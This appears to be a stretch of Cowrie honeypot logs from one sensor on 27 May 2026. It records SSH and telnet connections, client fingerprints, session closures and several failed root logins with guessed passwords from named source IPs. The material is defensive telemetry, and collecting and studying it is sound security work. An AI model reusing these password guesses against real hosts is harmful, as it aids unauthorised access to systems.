{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:23.262438Z","src_ip":"193.228.128.84","session":"e3c7f8c2f1c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59496,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4cc310ec210","protocol":"ssh","message":"New connection: 109.237.96.109:59496 (10.17.0.5:22) [session: a4cc310ec210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:31.039868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:31.045119Z","src_ip":"109.237.96.109","session":"a4cc310ec210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:31.136008Z","src_ip":"109.237.96.109","session":"a4cc310ec210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hohland412","message":"login attempt [root/hohland412] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:31.407572Z","src_ip":"109.237.96.109","session":"a4cc310ec210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47782,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdfd4413f4b3","protocol":"telnet","message":"New connection: 135.148.14.151:47782 (159.203.135.109:23) [session: fdfd4413f4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:32.369855Z"}
{"eventid":"cowrie.session.closed","duration":0.005904197692871094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:32.375620Z","src_ip":"135.148.14.151","session":"fdfd4413f4b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:32.506239Z","src_ip":"109.237.96.109","session":"a4cc310ec210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.67982721328735,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:34.180171Z","src_ip":"135.148.14.151","session":"22e316ac6b35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":55354,"dst_ip":"159.203.135.109","dst_port":22,"session":"64e78ddd3bc2","protocol":"ssh","message":"New connection: 38.93.206.2:55354 (159.203.135.109:22) [session: 64e78ddd3bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:38.233534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:38.238811Z","src_ip":"38.93.206.2","session":"64e78ddd3bc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:38.291080Z","src_ip":"38.93.206.2","session":"64e78ddd3bc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roma2002","message":"login attempt [root/roma2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:38.445053Z","src_ip":"38.93.206.2","session":"64e78ddd3bc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:39.501363Z","src_ip":"38.93.206.2","session":"64e78ddd3bc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.237884521484375,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:11.744686Z","src_ip":"135.148.14.151","session":"bfc1a96ccb95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":45736,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e19d8f03234","protocol":"ssh","message":"New connection: 51.250.105.222:45736 (159.203.135.109:22) [session: 3e19d8f03234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:12.514358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:12.519658Z","src_ip":"51.250.105.222","session":"3e19d8f03234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:12.645274Z","src_ip":"51.250.105.222","session":"3e19d8f03234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:13.022578Z","src_ip":"51.250.105.222","session":"3e19d8f03234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:14.151936Z","src_ip":"51.250.105.222","session":"3e19d8f03234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54462,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cec42a7481d","protocol":"telnet","message":"New connection: 135.148.14.151:54462 (159.203.135.109:23) [session: 0cec42a7481d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:17.933731Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46442,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7100044bb7a","protocol":"ssh","message":"New connection: 103.27.238.116:46442 (159.203.135.109:22) [session: e7100044bb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:24.503729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:24.508467Z","src_ip":"103.27.238.116","session":"e7100044bb7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":45222,"dst_ip":"159.203.135.109","dst_port":22,"session":"64b5d8db237b","protocol":"ssh","message":"New connection: 103.27.238.120:45222 (159.203.135.109:22) [session: 64b5d8db237b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:24.745258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:24.753529Z","src_ip":"103.27.238.120","session":"64b5d8db237b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:24.775108Z","src_ip":"103.27.238.116","session":"e7100044bb7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:25.030820Z","src_ip":"103.27.238.120","session":"64b5d8db237b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"direktor","message":"login attempt [root/direktor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:25.577404Z","src_ip":"103.27.238.116","session":"e7100044bb7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"walker","message":"login attempt [root/walker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:25.863696Z","src_ip":"103.27.238.120","session":"64b5d8db237b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:26.847203Z","src_ip":"103.27.238.116","session":"e7100044bb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:27.143519Z","src_ip":"103.27.238.120","session":"64b5d8db237b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55214,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa0da73349ae","protocol":"ssh","message":"New connection: 80.66.85.226:55214 (159.203.135.109:22) [session: fa0da73349ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:31.968179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:31.972907Z","src_ip":"80.66.85.226","session":"fa0da73349ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:32.069782Z","src_ip":"80.66.85.226","session":"fa0da73349ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rrrrrrr","message":"login attempt [root/rrrrrrr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:32.348533Z","src_ip":"80.66.85.226","session":"fa0da73349ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:33.445763Z","src_ip":"80.66.85.226","session":"fa0da73349ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34484,"dst_ip":"159.203.135.109","dst_port":23,"session":"db4710789978","protocol":"telnet","message":"New connection: 135.148.14.151:34484 (159.203.135.109:23) [session: db4710789978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:39.578820Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.227.125.15","src_port":58378,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c910c8cc33","protocol":"ssh","message":"New connection: 212.227.125.15:58378 (159.203.135.109:22) [session: a4c910c8cc33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:39.909179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:39.913555Z","src_ip":"212.227.125.15","session":"a4c910c8cc33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:39.993787Z","src_ip":"212.227.125.15","session":"a4c910c8cc33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Master2023","message":"login attempt [root/Master2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:40.345999Z","src_ip":"212.227.125.15","session":"a4c910c8cc33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:41.429849Z","src_ip":"212.227.125.15","session":"a4c910c8cc33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.95641493797302,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:29:54.890028Z","src_ip":"135.148.14.151","session":"0cec42a7481d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.29218888282776,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:30:14.870875Z","src_ip":"135.148.14.151","session":"db4710789978","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53300,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ea74cb4df1","protocol":"telnet","message":"New connection: 135.148.14.151:53300 (159.203.135.109:23) [session: f6ea74cb4df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:30:28.081257Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33532,"dst_ip":"159.203.135.109","dst_port":23,"session":"4253b215d865","protocol":"telnet","message":"New connection: 135.148.14.151:33532 (159.203.135.109:23) [session: 4253b215d865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:30:41.420424Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":48220,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d7fc808c74f","protocol":"ssh","message":"New connection: 103.82.20.28:48220 (159.203.135.109:22) [session: 3d7fc808c74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:30:48.064720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:30:48.069694Z","src_ip":"103.82.20.28","session":"3d7fc808c74f","protocol":"ssh"}
